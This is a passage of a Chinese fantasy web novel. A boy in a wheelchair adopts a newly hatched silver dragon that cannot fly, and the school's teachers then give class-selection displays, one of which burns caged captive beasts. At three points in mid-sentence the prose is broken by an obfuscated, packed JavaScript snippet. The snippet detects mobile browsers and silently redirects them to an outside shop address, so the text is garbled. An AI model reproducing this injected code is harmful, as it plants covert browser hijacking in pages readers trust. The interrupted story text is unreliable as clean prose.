随着这一阵欢呼，那几乎已经凝固了的裂纹迅速地向四周蔓延开，像是一朵花的根茎，飞速地顺着鳞纹生长着，扎根在了蛋壳之上。 “咔”一声脆响，一根小指长的银灰色龙角破壳而出，接着便是银白色的爪子、尾巴…… “真的是龙！！真的是龙！！！” 在不断涌动的人流中，安泽差点儿被挤了出去，但他拼尽了吃奶的力气抓紧孵化箱，忍着剧痛留在了离龙蛋最近的位置。 “吧嗒”。 一双翠绿色的眼睛，像是两棵小草，从一片银白中破土而出—— 那是一双纯洁的、好奇又谨慎的、带着神性的兽眼。 安泽觉得，它第一眼看到的，就是自己。 4. 第 4 章 极光。 那是安泽看见这只龙的瞬间，脑子里划过的第一个词。 遍体龙鳞闪烁出的光泽，像夜空中疯狂生长的山脊，也像暗夜里掀动群星的浪花。 它就是一道生于天际的极光。 安泽愣神之际，小龙又一次被人群中爆发的欢呼声吓得缩回了蛋壳里，只留下两颗荧光绿的眼睛，紧张慌乱地四处打量。 “你们安静一点！！”潘妮老师仰起脖子维持起秩序来，她肩上那只戴着圆框眼镜的猫头鹰闻言，也咕咕咕地飞起来，朝每个发出怪叫的学生脑门顶上狠狠来了一脚。 人群短暂安静下来，但这动静还是引来了更多的围观。 安泽隐约感觉身后的人群在缓缓蠕动着，下一秒，自己就被一个圆润的身躯差点挤飞出去—— “嘿嘿，不好意思了哥们儿，没挤到你吧？” 一双圆手搭在了安泽的肩膀上，接着十分努力地将他从人群里拔了出来，重新摆到了方才的位置上。回头看，是个身材颇有几分圆润富态的男生。 安泽被他挤得有些缺氧，眼睛都开始泛白了：“同学，我这个样子再说没挤到，今晚就得因为撒谎去找神父忏悔了。” “哈哈，哥们儿你说话可真有意思！”男生爽朗地笑笑，伸手又给他捏了捏肩，“对不住了，虽然我已经有飞兽了，但听说开出龙了，还是想来凑凑热闹！” “胖儿，连你都找到飞兽啦？”一旁有人显然是这男生的熟人，带着些许揶揄道，“什么飞兽能撑得住你的体重啊？” 这话听得安泽皱了皱眉头，可对方倒是不以为意，依旧十分开朗，甚至语气中还带了些得意：“不懂了吧？选飞兽其实本质上靠的还得是脑子和学识，等你能到我这个境界，答案自然就在心中了！” 对方过分爽快的性格倒是让安泽有些意外，他抬头看了那圆润的男生一眼，那人也十分敏锐地察觉到，立刻笑着道：“我叫哈伦，叫我胖子就行！” “哈伦。”安泽略过了后半句，点头道，“我叫安泽。” “安泽（Azure）！蔚蓝色的天空啊！真是个好名字！”哈伦道，“我很喜欢你，中午我请你吃食堂吧！” 安泽条件反射想要拒绝，可话还没说出口，所有人的注意力都被潘妮老师亢奋到发抖的声音吸引走了。 “天哪天哪天哪！！看它那双龙角，看它那双眼睛，看它那身鳞片！！我的上帝啊！！是银白色的龙！！这品相哪怕就是在龙族之中也是绝对的佼佼者啊，有生之年我居然有机会看见这种奇观，真的是没白活一趟……” 只听潘妮的语速越来越快声音却越来越小，大家听着差点儿没喘过气来时才发现，原来这家伙噼里啪啦说了那么长的一串话，居然都没来得及换一口气。 就连一心看龙的安泽都忍不住大喘一口气，然后幽幽开口道：“难怪老师一不留神就容易晕过去呢，这也太为难身体了。” 潘妮老师激情忘我的解说将礼堂里的学生几乎全部吸引来了，转瞬间，安泽便被翻涌而上的人潮冲走，临离开之前，他拼尽全力忍着剧痛半站起身，朝孵化箱中看去。 那双翠绿的眸子似乎也慌慌张张地望了他一眼，接着便像被刨出土的鼹鼠一样，哧溜一下又钻回蛋壳里了。 “哎哟，怎么又缩回去了啊？” “快点出来啊！真是急死人了！！” “你别拍玻璃啊！不过也是，到现在还没看到它完整样子呢……” 人群的议论声让安泽一阵焦虑，尽管他已经彻底看不见孵化箱里头的景象，但他似乎能听到那小龙传来的细小的、紧张的呜咽声。 它是个胆小怕生的孩子。安泽攥紧了手心，好几次想要往人群里去，却找不到一丝空间。 好在潘妮老师又一次仰起头维持秩序：“不要吵啦！听我说！你们一定要善待这个小宝贝，这只龙可是大陆这十年里唯一一条龙，虽然目前看不出具体属性，但是种族注定了它的不平凡！我建议有想法的大家都公平竞争起来，让龙看到你们的实力！” 话这么一说，早已虎视眈眈的同学便前赴后继地扑上去毛遂自荐了—— “这是我的龙了！！我在入学的飞行基础判定里拿了第一名！！” “你让开！！我家是开屠宰场的！！龙跟着我绝对能吃好喝好！！” “这算什么！知道大陆上一只龙的主人是谁吗？我姑姑！所以我才是龙的传人！” …… 在这一声高过一声的自我展示中，最外围的安泽皱着眉揉了揉腿，在原地怔了许久，才微微塌下肩膀，转过头去。 身后不远处，可怜的柯林还在和那一张扑在脸上的白色大饼做斗争，他一边死死抠着那两双嵌在他耳边的胸鳍，一边张着嘴噼里啪啦地哭嚎念叨：“行行好吧我的姑姥姥，他们都去看龙了，能不能让我看一眼，我求求你了！！” 听到他要去看龙，那鳐鱼直接半眯起眼睛，慢吞吞地收紧胸鳍，“W”形的嘴里发出“汪呜~”的一声怪叫。 “啊啊啊啊啊……！！你怎么还会狗叫啊！！不要扯我头发啊喂！！”柯林呜呼哀哉，接着好像听懂了什么似的，带着哭腔祈求道，“你就让我去看一眼呗，求求你了……我答应跟你立下契约还不行吗？” 那鳐鱼一听这话，眯成细缝的眼睛忽然睁得圆噔噔的，发出的狗叫声也多了几分欣喜：“汪？” “真的真的……”柯林在黑暗中胡乱一指，还真就指到了安泽的鼻尖儿，“不信你问我朋友，我向来说话算话的！” 说实话，安泽完全没有听懂那鳐鱼在汪什么，只知道这个时候确实该帮好朋友一把：“是这样的汪先生，诚实守信真的是柯林同学身上为数不多的优点了……顺便一提，虽然他的脸皮很厚，但是扯太久容易面部松弛，会让你未来的伙伴未老先衰哦。” 听到这话，鳐鱼终于又开心地汪了一声，两鳍一松，片儿状的身体就像张面膜般轻轻掀了下来，接着很快又咕涌咕涌盖到了柯林的脑袋上。 饱读诗书的安泽看着伙伴头顶鳐鱼、一脸疲倦的模样，愣在了原地出神：“……河童。” 柯林敏感地皱起眉：“什么啊？？” 安泽立刻慢悠悠递去一个大拇指：“夸你年轻。” 虽然不知道什么是河童，但柯林知道安泽这张嘴是什么德行，飞身过去踹了他轮椅一脚，接着就迅速钻进人群里看龙去了。 全世界的热闹喧嚣，似乎又彻底与安泽无关了。 确认自己再不可能挤进人群里去，安泽缓慢把轮椅推到了教室的拐角，伸了个懒腰打起呵欠。 平日里，安泽在白天几乎随时随地可以在轮椅上陷入深度睡眠，可偏偏此时，他却罕见地没有了困意。 一闭眼，就是那身银白色的龙鳞，和那双翡翠色的眼睛。 身后孵化箱边依旧是人声鼎沸，安泽叹了口气，木木地捂住耳朵，转身把脸怼进了墙缝里。 就这样面壁了好久，安泽终于忍不住抬头，他不敢看四周的孵化箱里还有哪些飞兽没被选走，也不敢看银龙的面前还有多少人在围观，他只是看了看礼堂的飞行时钟—— 怎么时间过得这么慢？ 他叹了口气，弯腰揉起隐隐作痛的双膝，只是转身想要去活动活动肩膀，忽然就听人群里传来一声惊叫—— “诶呀，这是翅膀吗？！” 安泽一下子又直起了腰，不知为何，他听出这语气里饱含着的不是欣喜，而是满满的惊诧。 “不是吧，右边翅膀不是已经出来了吗？不是长这样的呀？？”另一个声音里带着些许难以置信的惊慌。 安泽三两下将轮椅摇到了人群边，努力直着身子想去听听动静。 “我的天，这就是翅膀……这绝对不对劲！”另一个人说，“我的妈呀，难怪它半天破不了壳，原来是发育不良……” 安泽攥着轮子的手一下子使不上力了，他看了一眼自己的腿。 “那……那它还能飞吗？” 安泽听到人群里传来一声铃铛的脆响，那是驭兽师专门制作出来，吸引飞兽飞行的小道具。他听到所有人都屏住了呼吸，接着下一秒，玻璃柜里就传来“咚”的一声闷响—— “完了！真的飞不起来！！这是只残疾龙！！！” 此声一出，人群又炸开锅来，有不信邪还要试试的，又趁机脚底抹油直接撤走了的。当然，还有像潘妮老师这样不信邪的—— 发现翅膀有问题的时候，老师的面色就已经肉眼可见的苍白起来，但是她仍然吊着最后一口气，请来了学校最好的兽医老师。 一群医生围着小龙转来转去，这边捻捻那边戳戳，许久许久，人群外的安泽只看到兽医老师们一齐摇了摇头，接着人群中就传来了一声惊呼：“潘妮老师……诶？！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595870|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师你怎么又晕啦！！” 几乎在确定小龙翅膀出问题的一瞬间，拥挤的人群便倏地一下子松散开来，安泽赶紧逆流而上，再次挤回了孵化箱的旁边。 孵化箱里，一颗破碎的龙蛋旁，是那只满眼懵懂和惊慌的小龙，他的右边翅膀健康完整、闪现着和全身一样夺目的金属光辉，而他的左翅，却从第一骨节之后全部萎缩，整体的大小只有右翅的三分之一。 还有人在拿吊着小铃铛的逗兽棒逗它，小龙被丁零当啷的声音吸引着抬头，努力扇了一下翅膀准备去够吊在半空的铃铛，可因为两边力量不平衡，小龙狼狈地在半空打了个圈儿，便又“咚”的一声掉到地面上，又受了惊吓般直往蛋壳里钻。 见此情形，一向脾气好到似乎没有情绪的安泽，居然伸手一把夺过了逗兽棒，开口的语气倒是一如既往的平静慵懒：“同学，手实在痒的话可以去干点农活哦，学校后面还有十几亩地没耕完，正需要你这种精力旺盛到无处安放的好学生来劳作呢。” 被抢走了逗兽棒的男生一阵气不过，看了他一眼，忽然笑起来：“你们俩倒挺合适。” 安泽的表情没有一丝波动，只是耸耸肩，说了一句“荣幸之至”，倒是让对面更生气了。 安泽的举动确实有点扫兴，但大家也都意识到了这只龙的问题——这虽然是一只龙，但却是一只翅膀残疾、无法飞行的龙。 作为驭风族的坐骑，飞兽可以长得奇丑，也可以性格古怪，甚至可以缺胳膊少腿，但唯独不能出问题的，就是翅膀。 一只飞不起来的龙，甚至不如一只可以炖汤喝的走地鸡。也难怪潘妮老师又要晕过去一次。 在巨大的失望中，人群像是傍晚的夕色般，一点点消失殆尽。 从人山人海门庭若市，到门可罗雀无人问津，大家纷纷认清了现实，转而重新寻找其他飞兽立下契约，只有安泽一直一直握着手中的那只铃铛，守在孵化箱的旁边，静静望着躲在蛋壳里的小龙。 这时候，他便不觉得时间很慢了。他望着那蛋壳中慢慢探出的那双绿眼睛，仿佛再一次亲眼目睹了一次新芽破土。 他就这样和那双眼睛对视了好久，等着那眼中的惊恐、不安，逐渐转变成了纯粹的好奇，他终于听到院长问道：“大家都找到属于自己的飞兽了吗？” 在那一阵齐刷刷的、带着骄傲的“找到了”中，安泽终于松了口气，仿佛终于握住了别人塞给他的那根绳子。 他开口对那只不会飞的龙，说出第一句话：“你愿意做我的伙伴吗？” 那只龙没有作声，只是伸长脖子，有些好奇地望向他的轮椅。 安泽有些无奈地笑了笑：“你不能飞，我不能跑，挺配的，不是吗？” 那只龙似乎并没有因为安泽的腿疾而失落，而是有些开心地歪了歪脑袋，眼睛开始盯着他手里的那只铃铛。 什么都没听懂啊，既不懂自己的残缺意味着什么，也不懂安泽相比于其他人有多么的不同。 算了，不懂就不懂吧。 安泽打开孵化箱的小门，把铃铛递到了小龙的怀里。 小龙立刻开心地抱住铃铛，两只后足愉快地蹬了起来，然后亲昵地蹭了蹭安泽的手背。 “来，跟我吧。”安泽朝它摊开手心，“反正我们都没人要。” 这回小龙应当是听懂了前半句，叼着铃铛便一扭一扭，跳到安泽的手心里去。 安泽小心翼翼地把它从孵化箱里捧出来，抱进了怀里。他伸手摸了摸小龙的鳞片，冰冰的，却比想象中更滑更嫩。 他起了一层鸡皮疙瘩，似乎连脊梁骨都跟着微微战栗起来。 身后，教导主任的声音适时的响起：“大家不要忘记契约仪式哦，一旦签下契约，你们可就是要相伴一生、对彼此不离不弃的伙伴了！” 安泽深吸了一口气，按照理论课上说过无数次、自己也在脑海中演练过无数次的那样，轻轻咬破指尖，在手掌上画了一个圆形的契约阵。 手指移开的一瞬间，他能感觉到自己全身都在颤抖。他没敢抬头去看小龙的反应，甚至闭上了眼，直到掌心微微一沉，一只冰冰凉凉的小爪子踏在了圆阵的中央。 没有发出诡谲的光束，也没有奇怪的事情发生，安泽只感觉心口微微一紧，一个念头便顺着那只龙爪钻进了他的脑海里——这是我的龙了。 它的名字就叫“极光”。 5. 第 5 章 安泽在心里念到“极光”两个字的时候，手心里的小龙似乎也感应到了什么，倏地亮起了眼睛，用脑袋蹭了蹭安泽的大拇指。 脑袋上的鳞片凉凉的，没有想象中的那么硬，呼吸之间还会有细小的缝隙一张一翕。安泽忍不住动了动手指，来回在它的颈侧摩挲了几下。 小龙显然被摸得很舒适，喉咙里发出呼噜呼噜的声响，身子也随着安泽的动作扭动、歪倒，最后直接在他的手心翻出肚皮来。 小龙崽的肚皮虽然也有鳞甲覆盖保护，但是却比背上柔软很多，颜色也是更为柔和的嫩白。安泽没忍住伸手戳了戳，痒得那家伙仰面朝天四脚乱蹬，像是只翻倒受难的甲壳虫。 安泽见状，捧着它的手指都不敢用力了，心软成了一团云朵，嘴却依旧是铁硬的：“如果比可爱是期末考试的唯一考核指标，那我们的日子可就真的有盼头了。” 小龙不知有没有理解他的意思，只是眨巴眼望着安泽，接着伸出手脚把安泽的手心抱进肚皮里去。 于是安泽再硬的话也说不出口了。 这时，柯林的惨叫声又一次朝他奔来：“啊啊啊，安泽救救我救救我！快把这玩意儿从我脸上撕下来！！我要痛死了！！” 安泽一回头，便看见柯林顶着那张白色大饼状的鳐鱼，一边费力扒拉着，一边跌跌撞撞朝自己过来了。 安泽惯性想说些什么，又怕好朋友的脸实在撑不住了，只好先把极光放到自己的肩膀上，再气势汹汹朝那鳐鱼伸出手。 柯林弯下腰，把脸递给他，呜咽道：“轻点儿轻点儿，我怕给我脸皮撕破了……” 于是安泽放弃了暴力撕拉的策略，朝手指哈了口气，接着找准了那鳐鱼的两片胸鳍下方的位置插过去：“咯叽咯叽”。 被挠了胳肢窝的鳐鱼立刻全身掀起一片波浪，软绵绵地飘下来了，只留下柯林脸上一片吸盘吮吸的红印。 “怕痒呢。”安泽惊喜地对柯林道，“跟你一样，像一根滑溜溜没有出息但是扭起来很有韵律的海草。” 眼看着柯林一巴掌又要轮过来，安泽立刻作势抡起轮椅就要逃，没想到肩膀上的小龙却突然抬起头弓起背，气势汹汹地望着柯林，连两腮边的鳞都炸开来。 看着这架势，柯林立刻收手，一句“这么凶”还没说出口，就听小龙气贯长虹地朝他怒吼了一声：“咪！！” 柯林一下没忍住，噗呲笑了出来：“龙是这么叫的？” 安泽立刻幽幽补了一句：“多读读书看看世界吧柯林，你的那张煎饼还会狗叫呢。” 刚仰面飘到他腿上的鳐鱼立刻开心地应了一句：“汪呜！” 柯林后退了一步，尽可能与鳐鱼拉开距离，然后又有些好奇地望向他肩膀上的小龙：“你和这只小咪龙签订契约了？” “是啊。”安泽说着，尝试着伸手撸了撸肩上的小龙，那孩子的鳞片瞬间便被顺了回去。 他不敢表现得太高兴，也不能表现得太消极，因为连他自己也不知道，和这样一只已经被诊断无法飞行的龙签订契约，未来到底是希望更多还是绝望更甚。 可脑子简单如草履虫的柯林显然没想那么多，只是看了一会小龙，发自肺腑地感慨道：“真羡慕啊。这么快都已经会护主了，不像那狗东西只会啃我的脸。” 安泽一下就被说满足了，难得没有再损柯林，而是低头小心摸了摸那张摊在自己腿上的鳐鱼：“它叫什么？旺财还是来福？” 柯林立刻得意起来：“它叫塞拉菲尔·莱特布林尔，我想了好久的名字，意思是带着神圣光环的光明使者天使长大人，怎么样，厉不厉害？” 说完，还尝试着呼唤它：“塞拉菲尔·莱特布林尔？塞拉菲尔·莱特布林尔！” 可是那鳐鱼听到这个名字，只是微微将那豆子眼睁开了一小条细缝，然后逃避似的又闭了回去，躺在安泽腿上一动不动了。 “他不喜欢呢，毕竟柯林的审美就像是刚从地里拔出来的胡萝卜一样，带着一股新鲜潮湿又浓烈的土气。”安泽平静叙述道，“大道至简，叫它饼饼得了。” 柯林刚要嫌弃，那装死的鳐鱼突然就活了过来，有些亢奋地“汪”了一声。 “哦~饼饼~”安泽伸手挠了挠它的肚皮，“你更喜欢叫饼饼，这一点比柯林有品位多了。” 鳐鱼欢快地摇起尾巴，应和道：“汪汪！” 柯林不服：“塞拉菲尔·莱特布林尔！” 鳐鱼立刻又躺下去装死了。 确定所有人都完成了契约签订的流程之后，院长简单地进行了叮嘱，就又带着孩子们重新回到了学校的天空操场，风起礼下一个环节也接踵而至了——分班仪式。 分班仪式将会持续三天的时间，形式上和挑选飞兽类似，也是学生和老师之间的双向选择。 接下来，四位班主任会以表演赛的形式展现各自的能力和教学方针，学生们可以向自己喜欢的老师投递个人简历、飞兽资料和考核成绩。在接下来的三天里，班主任会对学生资料进行简单的初筛，对符合初选标准的同学进行面试，最终确定各自所在的班级。 在考核环节里，同学们可以向不止一位老师投递简历，也同样可以选择多位老师进行面试，只要足够优秀，到最后就是几家老师争抢一位学生的画面。 但据坊间传闻，部分老师相当介意海投的行为，有好几位不信邪的学长学姐因此与理想的班级失之交臂，最终只能接受调剂的命运。因此，大家都会尽可能准确客观地评估自身能力，尽可能做到一次性上岸。 老师们准备上台表演的工夫，安泽低头看了一眼自己的入学成绩卡—— “理论笔试等级：A+，机械操作等级：A+，身体素质等级：D-（腿疾），体术测试等级：缺考。” 似乎是感受到了他的怔愣，肩膀上的小龙小心翼翼探出头来，也歪起了脑袋，像模像样地望着他手中的成绩卡。 安泽伸手挠了挠他的下巴，接着垂下眸子，将有字的一面盖了过去。 一旁，柯林一手摁着他的鳐鱼，不让它往自己的脸上爬，一手也拿着成绩卡，紧张不已地问安泽：“你说，我这个成绩有希望进旭日班吗？” 柯林的整体成绩一般，理论和机械都是B+，身体素质是B-，只有体术测试的时候，安泽眼睁睁看着他一记丝滑如泥鳅般的下腰，成功躲过了考官的一个扫堂腿，硬生生把结果从C拉到了A——这也是安泽觉得他像海草的原因之一。 安泽看了他一眼，露出痛苦状：“柯林，我不想伤害我最好的朋友，但是我已经向神父发过誓不能再说谎话了。” 柯林遭受会心一击，和手里的鳐鱼一起瘫了下去了。 安泽善心大发地借了轮椅的一只扶手给对方支撑身体，接着便又兴趣缺缺地仰躺下去，闭上双眼。 这回和以往略有不同，刚开始嫌着太阳刺眼影响睡眠，肩头的小龙就扭着身子步履维艰地爬到他的脸上，四肢爪子在脸颊上来来回回窘迫地踩了好久，才终于找到个适合盘踞的位置，爪子一收，身子一卷，大尾巴刚刚好如眼罩般将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595871|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太阳光挡在了外面，全身鳞片冰冰凉凉的，也恰如其分地起到了降温的效果。 一下子就能睡踏实了的安泽不由竖了个大拇指——谁说这龙没用啊！这龙可太棒了！ 正当他打算睡到表演赛结束，安安分分直接给昏迷中的潘妮老师递简历的时候，一阵响彻云霄的马鸣声劈头盖来，吓得安泽一个激灵儿直起背来，脸上的小龙也哧溜一下钻进了他的臂弯里，只留一根缩不进去的尾巴在外面瑟瑟发抖。 抬头一看，一位黑色长卷发、贵族打扮的男人，正乘坐着一辆由四匹燃烧着烈焰的骏马牵引的马车，从天空的彼端缓缓而来。 “我的妈呀，太阳车！这也太帅了！！”一旁萎靡的柯林也重新支棱起来，“珐斯学长也是他带出来的，我的天啊，不愧是旭日班……” “首先登场的，是旭日班的班主任索尔老师和它的飞兽‘太阳车’。”教导主任介绍道，“太阳车是很典型的火属性飞兽，拥有着强大的攻击输出。和大部分组合型飞兽不同，苏尔老师的太阳车其实是一个整体，四只太阳烈马异体同魂，因此永远同心。” 天空操场上，男人手持烈马缰绳，驾着马车不紧不慢地从云端踏过。 这个索尔看上去三十来岁，身着一袭紫色的华贵长袍，身形挺拔如弓，五官深邃似雕刻一般，神情冷峻不可一世，确有几分神性。而他的四匹烈马却与校园里负责巡逻的天马不同，似乎看不见切实有型的五官和长相，与其说像是四匹燃烧的骏马，不如说更像是四簇烧成烈马形状的火焰，所到之处只留下一片被烈焰灼过的云痕。 按照既定的流程，索尔老师应当先简单介绍一下自己的教学理念，再展示他所准备的表演，但他似乎并没有耐心多说哪怕一个字，只是微微朝操场那头扬了扬下巴，那四匹烈马便齐齐烦躁地踏起蹄子来。 接收到索尔老师的信号，助教立刻牵着八只强壮的飞兽，牵来一只巨大的铁笼来。 “天……不是我想的那样吧？？”柯林惊呼起来，声音中带了些许恐惧。 看到这副场景，就连没精打采的安泽也忍不住支起身子睁大眼睛了。 平日里，学校教学使用的都是机械制成的模拟飞兽，而眼前铁笼里关着的，却是切切实实的活着的飞兽。它们大部分是在抵御外族侵略战争中捕获的战俘，也有一些是犯下重罪、即将被处刑的坏家伙。总而言之，都是一些凶狠的、难以驯服，或是和人类有着不可调和的利益冲突的飞兽。 关于这类飞兽是否该成为教学的牺牲品，驭风族内其实一直充满争议，但学院向来支持各种立场和观念百花齐放，因此，似乎也没有任何人对眼前的情景加以阻止。 于是，大家眼睁睁看着助教打开了拥挤的铁笼，看着近百只大小各异、种族不一的飞兽从笼中喷涌而出，接着在一阵声震寰宇的长嘶中，变成了烈焰焚烧过后的一片灰烬。 整个过程持续不到半分钟，大家没来得及发出惊叹，甚至没有看到一只飞兽的模样，便感觉头顶幽幽飘下了一层黑雪。 一切在眨眼之间重归于平静，直到索尔挺直着腰板，有些厌嫌地掸了掸衣角，转身驾着马车退场之后，场下才传来一阵激烈的掌声和狂热的欢呼。 人群之中，安泽怔在原地，没有鼓掌也没有喝彩，只觉得那飞兽死去的灰烬似乎掉进了他的眼睛里，叫他什么都看不清了。 而身旁，方才比任何人都激动兴奋的柯林，只用很小的声音、颤抖着质问： “怎么这样……我一点也不想去旭日班了。” 6. 第 6 章 索尔老师的表演极其短快，也同样有着极强的冲击力，那烈马喷薄出的火焰似乎也点燃了席位上的人群，烧出一片尖叫欢呼的热浪来。 安泽揉了揉进了灰的眼睛，终于挤出两滴眼泪把异物冲了出去，一睁眼便看见怀里瑟缩着狂颤的一根尾巴。 安泽被他的胆小气笑了，伸手一把攥住了龙尾巴，像是拔萝卜一样硬生生把孩子从怀里连根拔起：“钻地这么厉害，难不成你其实是土系的？” 极光像是一只被弹了脑壳的壁虎一般，在安泽手心里倒吊着狂扭了半天，终于还是一脑门子扎了回去。 看来是真的害怕了。安泽只好妥协，一扭头，就看见一旁的柯林满脸的义愤填膺，而他膝盖上的鳐鱼，却悠哉悠哉地用胸鳍抓着炸土豆片往嘴里塞。 “真不错。”安泽对鳐鱼的胃口由衷赞赏道。 一旁的柯林显然会错意了，愤怒道：“不错什么呀？那些飞兽有错在先，但就这样像道具一样轻轻松松地杀掉，难道不残忍吗？我收回我之前的话，我真是一点也不想去旭日班了！” 安泽没有评价他的前半句话，只是顺手接过后半句的话茬：“你不去那我也不去。今日的索尔痛失两员大将，一定会在日后的每一个深夜悄悄流泪的。” 柯林看了一眼他的轮椅，知道他又在笑话自己不自量力，也是被自己气笑了，毫不留情地朝了他胳膊肘子来了一巴掌。 “啪”的一下，安泽怀里的龙屁股一撅，铁棍儿似的尾巴又拦截住了从天而降的一击，脑袋倒还是没探出来半分。 “好家伙，你俩倒是一条心！”柯林被自己的力道甩得龇牙咧嘴，低头一看膝盖上边看边吃的鳐鱼，更是一阵怒火攻心，直接一把抢走了他的土豆片，狠狠往自己嘴里塞去，“吃吃吃，就知道吃！不知道护着我就算了，还把我偷偷带来的这么点零食全吃完了！” 鳐鱼倒也是没脾气，没的吃了就拍拍肚皮，仰躺在柯林的腿上，宛如一张毯子一般安然睡去了。 几个人打打闹闹的功夫，一阵清脆悠扬的银铃声从天尽头传来，抬头一看，第二场表演也已经开始了。 “第二位出场的，是辉月班的辛西娅老师和她的老友‘月光水母’露娜。如果大家近期因为升学和分班而感到压力倍增，不妨聆听一下露娜的歌声，疗愈和放松一下心灵。” 伴随着教导主任的介绍，一只体型宛如小型热气球般的巨型水母，正一舒一张着柔软的身体，缓缓从天空的另一边游来，这画面让人恍惚以为头顶那一片碧蓝，其实是深不见底的海，而那水母的触手随风飘动的模样，也更像是被水波轻抚一般飘逸荡漾。 这只名叫露娜的水母通体透明柔软，仔细一看，全身却是披满了一层坚硬闪亮的晶体，随着它全身收缩向前的动作，操场上的同学们分明能听见那晶体相互摩擦发出的如风铃般清脆的声响。 方才还有些杂乱烦躁的心情，一下子便被抚平捋顺了。 “诶？辛西娅老师呢？”柯林眯着眼睛朝水母头顶瞅了半天，也没看见有人骑在水母头上，“她没有登台表演吗？” 安泽平静开口：“啊……有时候真的很羡慕你啊柯林，总是对自己的身体那么宽容友善。经常给脑子放假，眼睛也不怎么需要工作……” 话还没说完，柯林就已经一气呵成地完成了抬手给人一拳、拳头被龙尾巴挡走、气得狂揉鳐鱼肚皮的全过程。 安泽怕他把鳐鱼给揉碎了，只好懒懒抬手指了指水母的巨大的伞状体。 柯林定睛一看，终于睁大眼慨叹：“哇！第一次见到这种！” 和一般骑在飞兽背上的驭兽方式不同，辛西娅老师是直接被水母包裹进体内的，她就这样端坐在一团透明流动的晶体之中，神情松弛而优雅。 柯林望得出神：“辛西娅老师年轻的时候一定是个美人啊……” 这一点连安泽都没有反驳。 眼前那位坐在水母之中的辛西娅老师，看上去已经快六十岁了，她的长发是上了年纪的银白，面上也已经布满了岁月的刻痕，但却根本挡不住她优越的骨相美。 她个子很高、身形挺拔，举止优雅。和索尔老师那身布满雕琢之气的贵族打扮不同，辛西娅老师只是穿着一身毫无粉饰的素黑长裙，却从举手投足间就给人一种矜贵之感。 更重要的是，她看上去就如那月光一般，面容慈爱温柔，嘴角永远带着包容和煦的笑容，叫同学们看到她便忍不住心生喜欢。 “喜欢！”柯林发自内心地感慨道，“我喜欢辛西娅老师！” 月光水母一舒一张地游到了同学们的正上方，只见流体正中的辛西娅老师一抬双臂，水母开始像湿了水的小狗一般甩动起庞大的身躯来，霎时间，那银铃般的碰撞声响便随着一阵微风，荡漾翻涌着流向了每一个孩子的耳畔。 这种声音是安泽自出生以来闻所未闻的，那种感觉好像是一颗银白色的水珠，顺着月牙的尖尖，轻轻滴落到了平静池塘的正中央，于是池中月便碎成了一圈圈的光环，缓缓地、缓缓地朝外扩散开来。 方才或是躁动或是亢奋的同学们，此时不约而同地安静下来，就连安泽怀里受了惊吓不愿见人的小龙也小心翼翼探出脑袋，惬意地打了个呵欠、伸了个懒腰，连浑身紧绷的鳞片都肉眼可见地舒张开来。 四周的嘈杂声都褪去了，同样短暂褪去的，还有安泽双膝上永远持续伴随他的暗痛。那是一种很奇妙的感觉，就像是一捧温热的水流，轻轻地、柔柔地流淌过他的膝盖，冲洗掉了伴随他这么多年的难以言喻的刺痛，就这样不声不响地重新搭好了所有错位的骨和肉。 有一瞬间，安泽真的讶异得以为自己痊愈了。他甚至新奇地想站起身来试试，可下一秒，那水母停止了抖动，双膝短暂的安宁便也离开了他——腿又开始痛了。 原来只是“镇静”而非“疗愈”。安泽有些失落，他又耷拉下眼睛，对接下来的一切再度失去了兴趣。 这是辛西娅老师表演的第一部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595872|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，月光水母的集体镇静效果。辛西娅老师弯着苍老却又有神的双眸，告诉大家在很多战斗和集体的场合之中，“安抚”其实扮演着比大家想象中还要重要的角色。 “这就是我想展现给大家的我的教学理念——输出强度和飞行能力绝不是唯一，强大的辅助也可以成为控场的关键。”辛西娅老师说话的声音并不大，但是平稳坚定，听起来特别清晰有力，“在我的班级，哪怕不是强力输出型的飞兽，我也会深入发掘各位的能力，将大家的潜力发挥到极致。” “当然，话虽如此，我的老友在输出方面也绝不输给任何人。”她笑了笑，伸手摸了摸四周的流体，看着水母触角愉快地抖动着，老师应该是做了个类似于摸宠物脑袋的安抚行为。 紧接着，操场四周响起了“嗡嗡”的蒸汽机械声，一回头，一支由几十架教学辅助机械飞行兽组成的队伍，轰轰烈烈在水母的面前摆出了一个巨大的方阵。 学生们还是第一次见到这样的情景，比较二年级的学长们，光是骑着飞兽对付一台机械兽，都可能出现头破血流的惨案。 而眼前这些机器，显然比对付学长们的厉害太多…… 